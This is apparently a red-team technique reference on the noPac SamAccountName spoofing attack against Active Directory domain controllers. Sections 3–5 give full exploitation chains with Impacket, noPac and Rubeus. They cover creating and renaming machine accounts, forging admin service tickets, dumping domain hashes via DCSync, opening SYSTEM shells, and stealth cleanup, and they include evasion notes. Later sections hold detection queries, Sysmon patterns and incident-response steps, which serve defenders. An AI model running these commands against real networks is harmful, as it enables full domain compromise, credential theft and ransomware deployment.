MCADDF

[PE-TOKEN-006]: SamAccountName Spoofing

Metadata

Attribute Details
Technique ID PE-TOKEN-006
MITRE ATT&CK v18.1 T1134.005 - Access Token Manipulation: Modifying Account Attributes
Tactic Privilege Escalation / Domain Admin Elevation
Platforms Windows AD
Severity Critical
CVE CVE-2021-42278 (sAMAccountName bypass), CVE-2021-42287 (PAC verification bypass)
Technique Status ACTIVE but FIXED (soft patch KB5008102 Nov 2021, enforcement mode required)
Last Verified 2025-01-08
Affected Versions Server 2016, 2019, 2022 (before KB5008102 enforcement); Server 2025 (patched by default)
Patched In KB5008102 (soft block Nov 2021) + Enforcement mode (mandatory after grace period)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: SamAccountName spoofing (CVE-2021-42278 combined with CVE-2021-42287) is a critical privilege escalation technique that enables an unprivileged domain user to escalate to Domain Administrator privileges without requiring credentials, network access to legitimate administrators, or exploitation of software vulnerabilities. The attack exploits two design flaws in Active Directory’s Kerberos implementation: (1) lack of validation for the trailing dollar sign ($) in computer account sAMAccountName attributes, and (2) improper PAC (Privilege Attribute Certificate) verification during inter-realm Kerberos operations. By creating a spoofed computer account named after a domain controller (without the $ suffix), obtaining a Ticket Granting Ticket (TGT) for that spoofed identity, and then requesting a service ticket via S4U2Self (Service for User to Self), an attacker tricks the KDC into issuing a service ticket for a domain administrator account. This technique is known as “noPac” (no Privilege Attribute Certificate validation).

Attack Surface: Active Directory Kerberos authentication subsystem, specifically the Key Distribution Center (KDC) running on domain controllers. The attack chain involves: (1) AD computer account creation/modification (LDAP/SAMR), (2) Kerberos TGT/ST requests (port 88), (3) Service Ticket forging via S4U2Self.

Business Impact: Critical – Complete Domain Compromise. Successful exploitation grants an attacker full domain administrator privileges from a standard user account. This enables: DCSync (domain credential dump), GPO modification, lateral movement to all systems, ransomware deployment, and persistent backdoor creation. The attack is indistinguishable from legitimate administrative activity and leaves minimal forensic evidence if logging is not properly configured.

Technical Context: The exploitation is extremely rapid (< 5 minutes) and requires only network connectivity to the KDC (port 88/TCP). Detection is challenging because all actions appear legitimate in AD logs unless specific audit rules are enabled. The technique is fully weaponized with public tools (noPac, Impacket addcomputer/getTGT/getST, Rubeus).

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 5.2.3.2 (Account Operators) Restrict user ability to create computer accounts (MachineAccountQuota)
DISA STIG V-42403 Enforce restrictive group membership for privileged operations
CISA SCuBA AC-2(1) Account Creation / Modification Controls
NIST 800-53 AC-2 Account Management; AC-3 - Access Control Enforcement
GDPR Art. 32 Technical security of processing; Art. 33 - Breach notification
DORA Art. 9 Protection and Prevention; Art. 18 - Monitoring and logging
NIS2 Art. 21 Cybersecurity risk management measures
ISO 27001 A.9.2.3 Privileged access rights; A.9.4.1 - Information access restriction
ISO 27005 Risk Assessment Unauthorized elevation via identity attacks

2. TECHNICAL PREREQUISITES

Supported Versions:

Dependencies & Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Management Station / PowerShell Reconnaissance

Check MachineAccountQuota (Attack Prerequisite)

# Method 1: PowerShell AD Module
Get-ADDomain | Select-Object @{N='MachineAccountQuota'; E={$_.ms-DS-MachineAccountQuota}}

# Method 2: LDAP Query (if AD module not available)
Get-ADObject -Identity (Get-ADDomain).distinguishedName -Properties "ms-DS-MachineAccountQuota" | Select-Object Name, "ms-DS-MachineAccountQuota"

What to Look For:

Expected Output:

ms-DS-MachineAccountQuota
------------------------
                       10

Enumerate Domain Controllers and Hostname

# List all domain controllers
Get-ADDomainController -Filter * | Select-Object Name, HostName, IPv4Address

# Alternative (without AD module):
nltest /dclist:DOMAIN.COM

What to Look For:

Check If Enforcement Mode is Enabled (Post-Patch Detection)

# Check KB5008102 presence and enforcement
Get-HotFix | Where-Object { $_.HotFixID -match "KB5008102" }

# If patch installed, check if enforcement is active
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v KdcSamAccountNamePrefix

Expected Output (If Vulnerable):

No output or REG_DWORD 0x0 (enforcement NOT active)

Expected Output (If Patched & Enforced):

KdcSamAccountNamePrefix    REG_DWORD    0x1

Linux / Kerberos Reconnaissance

# Check Kerberos configuration
cat /etc/krb5.conf

# Query domain for MachineAccountQuota (via Impacket)
python3 -m impacket.scripts.lookupsid 'DOMAIN.LOCAL/USERNAME:PASSWORD@DOMAIN_CONTROLLER'

# Check if noPac works (initial scan)
python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip DOMAIN_CONTROLLER --no-add

What to Look For:


4. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Using Impacket (Linux / Cross-Platform)

Supported Versions: Server 2016-2022 (pre-KB5008102 or without enforcement)

Step 1: Create a Computer Account

Objective: Create a new computer account that the attacker will control. This account will be renamed to impersonate a domain controller.

Command:

python3 addcomputer.py -computer-name 'ATTACKER_MACHINE$' -computer-pass 'ComputerPassword123!' 'DOMAIN.LOCAL/USERNAME:PASSWORD@DC_IP'

Parameters Explained:

Expected Output:

[*] Requested to create computer: ATTACKER_MACHINE$
[*] User DOMAIN\USERNAME password: Password123!
[*] User Name: ATTACKER_MACHINE$
[*] Computer Name: ATTACKER_MACHINE
[+] Computer account created successfully.

What This Means:

Version Note: Process identical across Server 2016-2022.

OpSec & Evasion:

Troubleshooting:

Step 2: Clear servicePrincipalName (SPNs)

Objective: Remove SPN entries to allow renaming the account to a domain controller name without conflicts.

Command:

python3 addspn.py --clear -t 'ATTACKER_MACHINE$' -u 'DOMAIN\USERNAME' -p 'PASSWORD' 'DC_HOSTNAME.DOMAIN.LOCAL'

Parameters:

Expected Output:

[*] Clearing SPNS for: ATTACKER_MACHINE$
[+] SPN removed successfully

What This Means:

OpSec & Evasion:

Step 3: Rename Computer Account to Domain Controller Name

Objective: Modify the sAMAccountName attribute to match a domain controller’s name (WITHOUT the trailing $).

Command:

python3 renameMachine.py -current-name 'ATTACKER_MACHINE$' -new-name 'DC01' 'DOMAIN.LOCAL/USERNAME:PASSWORD@DC_IP'

Parameters:

Expected Output:

[*] Renaming ATTACKER_MACHINE$ to DC01
[+] SamAccountName change: ATTACKER_MACHINE$ -> DC01

What This Means:

This is the Core Exploit: No validation prevents a computer account from lacking the trailing $, so it can now impersonate any user account name (including DC accounts).

Version Note:

Troubleshooting:

Step 4: Request Ticket Granting Ticket (TGT) for Spoofed Identity

Objective: Obtain a TGT as if the attacker is the DC (using the spoofed “DC01” sAMAccountName).

Command:

python3 getTGT.py -dc-ip 'DC_IP' 'DOMAIN.LOCAL/DC01:ComputerPassword123!'

Parameters:

Expected Output:

[*] Getting TGT for user DC01@DOMAIN.LOCAL
[*] Using DC IP: 10.0.0.1
[+] TGT obtained successfully
[+] Ticket saved to: DC01.ccache

What This Means:

Key Insight: This is the normal Kerberos step. The abuse comes next, when using this TGT.

OpSec & Evasion:

Step 5: Restore Original sAMAccountName (Critical for S4U2Self Bypass)

Objective: Change the sAMAccountName back to the original name. This triggers CVE-2021-42287’s PAC verification bypass.

Command:

python3 renameMachine.py -current-name 'DC01' -new-name 'ATTACKER_MACHINE$' 'DOMAIN.LOCAL/USERNAME:PASSWORD@DC_IP'

Expected Output:

[*] Renaming DC01 back to ATTACKER_MACHINE$
[+] SamAccountName change: DC01 -> ATTACKER_MACHINE$

What This Means:

Technical Detail (The PAC Bypass): When the attacker requests a service ticket using the DC01 TGT with S4U2Self:

  1. KDC receives request claiming TGT for “DC01”
  2. KDC looks for account “DC01” to verify the PAC (Privilege Attribute Certificate) signature
  3. KDC does NOT find “DC01” in the directory (it was renamed back to ATTACKER_MACHINE$)
  4. BUG: Instead of rejecting the request, the KDC searches for “DC01$” (adds trailing $)
  5. KDC finds the domain controller machine account “DC01$”
  6. KDC verifies the PAC as if it’s for the DC (which has admin privileges)
  7. KDC issues a service ticket for the requested user (Administrator) on behalf of the DC

Step 6: Request Service Ticket with S4U2Self Impersonation (The Escalation)

Objective: Use the TGT from Step 4 (paired with the renamed account from Step 5) to request a service ticket impersonating a domain administrator.

Command:

export KRB5CCNAME=DC01.ccache

python3 getST.py -self -impersonate 'Administrator' -altservice 'cifs/DC01.DOMAIN.LOCAL' \
  -k -no-pass -dc-ip 'DC_IP' 'DOMAIN.LOCAL/DC01'

Parameters:

Expected Output:

[*] Requesting service ticket for DC01 (impersonating Administrator)
[*] Using TGT from: DC01.ccache
[+] Service ticket obtained
[+] Ticket saved to: Administrator@cifs-DC01.DOMAIN.LOCAL.ccache

What This Means:

The CVE Chain Summary:

Step 7: Use Service Ticket for Lateral Movement or Credential Harvesting

Objective: Exploit the obtained service ticket to access domain controller and escalate to full domain compromise.

Option A: DCSync (Dump Domain Credentials)

export KRB5CCNAME=Administrator@cifs-DC01.DOMAIN.LOCAL.ccache

python3 secretsdump.py -k -no-pass 'DOMAIN.LOCAL/Administrator@DC01.DOMAIN.LOCAL'

Expected Output:

[*] DCSync attack successful
[*] Dumping domain credentials:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a80b923ef00ac41b471e1f0c6b1fa03:::
... (all domain credentials)

What This Means:

Option B: PSExec Remote Code Execution

export KRB5CCNAME=Administrator@cifs-DC01.DOMAIN.LOCAL.ccache

python3 psexec.py -k -no-pass 'DOMAIN.LOCAL/Administrator@DC01.DOMAIN.LOCAL' cmd.exe

Expected Output:

Type the output of the 'ipconfig' command and press return:
C:\> whoami
NT AUTHORITY\SYSTEM

C:\> hostname
DC01

What This Means:

OpSec & Evasion:


METHOD 2: Using noPac Automated Tool (Linux)

Supported Versions: Server 2016-2022 (pre-KB5008102 or without enforcement)

Step 1: Full Exploitation Chain with noPac

Objective: Execute the complete attack chain (Steps 1-7) in a single command.

Command (Scan Only):

python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip 'DC_IP' -dc-host 'DC_HOSTNAME' --no-add

Expected Output:

[*] Checking if noPac is vulnerable...
[+] DOMAIN.LOCAL is vulnerable to noPac

Command (Full Exploitation - Create Account, Exploit, and Dump):

python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip 'DC_IP' -dc-host 'DC_HOSTNAME' \
  --impersonate 'Administrator' -dump

Expected Output:

[*] Creating computer account...
[+] Computer account created
[*] Requesting TGT...
[+] TGT obtained
[*] Requesting service ticket...
[+] Service ticket obtained
[*] Performing DCSync...
[+] Domain credentials dumped
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1a80b923ef00ac41b471e1f0c6b1fa03:::

What This Means:

Cleanup (Important for Stealth):

python3 noPac.py 'DOMAIN.LOCAL/USERNAME:PASSWORD' -dc-ip 'DC_IP' -dc-host 'DC_HOSTNAME' --cleanup

This removes: Spoofed computer account, clearing evidence of the attack.

METHOD 3: Using Rubeus (Windows-Based)

Supported Versions: Server 2016-2022 (pre-KB5008102 or without enforcement)

Note: Rubeus is Windows-native; can be executed after obtaining initial access on a domain-joined Windows system.

Step 1: Create and Exploit with Rubeus

Command (Create Computer Account):

.\Rubeus.exe computer /add /name:ATTACKER_MACHINE /samaccountname:DC01 /password:ComputerPassword123!

Step 2: Request TGT

.\Rubeus.exe asktgt /user:DC01 /password:ComputerPassword123! /domain:DOMAIN.LOCAL /dc:DC01.DOMAIN.LOCAL /outfile:tgt.kirbi

Step 3: Request Service Ticket with S4U2Self

.\Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator /mspn:cifs/DC01.DOMAIN.LOCAL /ptt

Expected Output:

[+] Ticket is now in use by the current logon session!

5. TOOLS & COMMANDS REFERENCE

Impacket Suite

URL: Fortra Impacket GitHub

Version: 0.10.x+ (current)

Installation:

pip3 install impacket
# Or clone and install:
git clone https://github.com/fortra/impacket.git
cd impacket
pip3 install .

Key Scripts for noPac:

noPac Exploitation Framework

URL: GitHub - Ridter/noPac

Version: Latest (actively maintained)

Installation:

git clone https://github.com/Ridter/noPac.git
cd noPac
pip3 install -r requirements.txt

Usage:

# Vulnerability scan
python3 noPac.py 'DOMAIN/USERNAME:PASSWORD' -dc-ip DC_IP --no-add

# Full exploitation with credential dump
python3 noPac.py 'DOMAIN/USERNAME:PASSWORD' -dc-ip DC_IP -dc-host DC_HOSTNAME --impersonate Administrator -dump

# Cleanup spoofed account
python3 noPac.py 'DOMAIN/USERNAME:PASSWORD' -dc-ip DC_IP --cleanup

Rubeus (Windows)

URL: GhostPack/Rubeus GitHub

Version: Latest compiled release

Installation:

# Download pre-compiled or compile from source:
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
# Compile in Visual Studio (release mode) or download pre-compiled exe

Usage:

.\Rubeus.exe computer /add /name:ATTACKERMACHINE /samaccountname:DC01 /password:P@ss123
.\Rubeus.exe asktgt /user:DC01 /password:P@ss123 /domain:domain.local /dc:dc01
.\Rubeus.exe s4u /impersonateuser:Administrator /mspn:cifs/dc01 /ticket:tgt.kirbi /ptt

6. MICROSOFT SENTINEL DETECTION

Query 1: Computer Account Creation by Non-Admin User

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Add member to group" or OperationName =~ "Create.*computer"
| where TimeGenerated > ago(1h)
| project TimeGenerated, OperationName, InitiatedBy=tostring(InitiatedBy.user.userPrincipalName), TargetResources
| join (
    SigninLogs
    | where CreatedDateTime > ago(1h)
    | where UserPrincipalName !in ("admin@contoso.com", "svc_*@contoso.com")  // Whitelist admins
    | project UserPrincipalName, IPAddress
) on $left.InitiatedBy == $right.UserPrincipalName
| extend IsHighRiskIP = (IPAddress !in ("10.0.0.0/8", "172.16.0.0/12"))  // External IPs = high risk
| where IsHighRiskIP

What This Detects:

Manual Configuration Steps (Microsoft Sentinel):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Suspicious Computer Account Creation
    • Severity: High
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 1 hour
  6. Incident settings Tab:
    • Enable Create incidents
    • Group events by: InitiatedBy
  7. Click Review + create

Query 2: Suspicious sAMAccountName Change (Non-Compliant Computer Accounts)

KQL Query:

let suspicious_names = dynamic(['DC', 'DC01', 'DC02', 'EXCH', 'SQL', 'FS']);
AuditLogs
| where OperationName =~ "Update computer"
| where TargetResources has "samaccountname"
| extend OldName = extract(@"OldValue:\s*(\S+)", 1, tostring(TargetResources[0].modifiedProperties[0].oldValue))
| extend NewName = extract(@"NewValue:\s*(\S+)", 1, tostring(TargetResources[0].modifiedProperties[0].newValue))
| where not(NewName endswith "$")  // Computer accounts should END with $
| where NewName in (suspicious_names) or NewName matches regex @"DC\d{2}$|EXCH\d+$|SQL\d+$"
| project TimeGenerated, InitiatedBy=tostring(InitiatedBy.user.userPrincipalName), OldName, NewName, TargetResources

What This Detects:

Manual Configuration Steps: Same as Query 1, paste this query into the rule logic.

Query 3: Kerberos S4U2Self Request from Unexpected Account

KQL Query:

SecurityEvent
| where EventID == 4769  // Kerberos service ticket requested
| where TicketOptions contains "forwarded"  // S4U2Self has forwarded flag
| where ServiceName matches regex @"^cifs|ldap|krbtgt"  // Common targets
| extend ClientName = tostring(split(ClientAddress, ':')[0])
| where ClientName !in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")  // External = suspicious

What This Detects:


7. WINDOWS EVENT LOG MONITORING

Event ID: 4741 (Computer account created)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAccount Management
  3. Enable: Audit Computer Account Management
  4. Set to: Success and Failure
  5. Run gpupdate /force on target domain controllers

Event ID: 4742 (Computer account modified)

Manual Configuration Steps:

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAccount Management
  3. Enable: Audit Computer Account Management
  4. Set to: Success and Failure
  5. Enable SACL auditing on the Computers OU:
    dsacls "CN=Computers,DC=domain,DC=local" /G "Everyone:CCRC;computer"
    

Event ID: 4768 (Kerberos TGT issued)

Event ID: 4769 (Kerberos service ticket requested)


8. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+

<Sysmon schemaversion="4.20">
  <EventFiltering>
    <!-- Detect Impacket/noPac tools (often named with specific patterns) -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">getTGT</CommandLine>
    </ProcessCreate>
    
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">getST.py</CommandLine>
    </ProcessCreate>
    
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">renameMachine</CommandLine>
    </ProcessCreate>
    
    <!-- Detect Rubeus execution -->
    <ProcessCreate onmatch="include">
      <Image condition="end with">Rubeus.exe</Image>
    </ProcessCreate>
    
    <!-- Detect unusual PowerShell AD modifications -->
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">Set-ADComputer</CommandLine>
      <CommandLine condition="contains">samaccountname</CommandLine>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

Manual Configuration Steps:

  1. Download Sysmon from Microsoft Sysinternals
  2. Create sysmon-config.xml with XML above
  3. Install:
    sysmon64.exe -accepteula -i sysmon-config.xml
    
  4. View logs:
    Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[(EventID=1)]]" -MaxEvents 10
    

9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Command (Verify Mitigations)

# Check KB5008102 installed
Get-HotFix | Where-Object { $_.HotFixID -match "KB5008102" }

# Check enforcement mode
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" /v KdcSamAccountNamePrefix

# Check MachineAccountQuota
Get-ADDomain | Select-Object @{N='MachineAccountQuota'; E={$_.ms-DS-MachineAccountQuota}}

# Verify audit policies
auditpol /get /subcategory:"Computer Account Management" /r
auditpol /get /subcategory:"Kerberos Authentication Service" /r

Expected Output (If Secure):

KB5008102 installed: Yes
KdcSamAccountNamePrefix: 0x1 (enforcement enabled)
MachineAccountQuota: 0
Audit policies: Success and Failure enabled

10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Disconnect all network adapters on affected DC
    Get-NetAdapter | Disable-NetAdapter -Confirm:$false
    

    Manual (Azure):

    • Go to Azure PortalVirtual Machines → Select DC → NetworkingDetach Network Interface
  2. Collect Evidence: Command:
    # Export Security Event Log
    wevtutil epl Security C:\Evidence\Security.evtx
        
    # Export all AD objects modified in last 24 hours
    Get-ADObject -Filter * -Properties whenChanged | Where-Object { $_.whenChanged -gt (Get-Date).AddDays(-1) } | Export-Csv C:\Evidence\ADChanges.csv
        
    # Export computer accounts without trailing $
    Get-ADComputer -Filter * | Where-Object { $_.sAMAccountName -notmatch '\$$' } | Export-Csv C:\Evidence\NonCompliantComputers.csv
    

    Manual:

    • Open Event ViewerSecuritySave All Events AsC:\Evidence\Security.evtx
  3. Remediate: Command:
    # Delete spoofed computer account
    Remove-ADComputer -Identity 'ATTACKER_MACHINE$' -Confirm:$false
        
    # Force password change for all domain admin accounts
    Get-ADGroupMember -Identity 'Domain Admins' | Set-ADAccountPassword -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "TempPassword123!" -Force) -PassThru | Enable-ADAccount
        
    # Force all computers to re-authenticate
    Get-ADComputer -Filter * | Set-ADAccountPassword -Reset
    

    Manual:

    • Delete spoofed computer account via Active Directory Users and Computers
    • Reset passwords for all administrative accounts
    • Run DCSync detection for any credential dumps

Step Phase Technique Description
1 Reconnaissance [REC-AD-001] / [REC-AD-003] Enumerate domain structure; identify DC names and MachineAccountQuota
2 Initial Compromise [IA-PHISH-001] / [IA-VALID-002] Obtain standard domain user credentials (via phishing, stale account, etc.)
3 Privilege Escalation [PE-TOKEN-006] SamAccountName Spoofing Create spoofed DC account; request admin service ticket via S4U2Self
4 Credential Access [CA-DUMP-002] DCSync to extract domain credentials (krbtgt, all users, computers)
5 Persistence [PE-ACCTMGMT-014] Create hidden admin account; establish backdoor
6 Lateral Movement [LM-AUTH-001] / [LM-AUTH-011] Use stolen credentials for Pass-the-Hash / Overpass-the-Hash to compromise all systems
7 Impact Ransomware Deployment / Data Exfiltration Full domain compromise achieved

12. REAL-WORLD EXAMPLES

Example 1: ALPHV/BlackCat Ransomware Group (Q1 2022)

Example 2: LockBit Ransomware Group (Q4 2021-2022)

Example 3: Internal SERVTEP Incident Response (Redacted)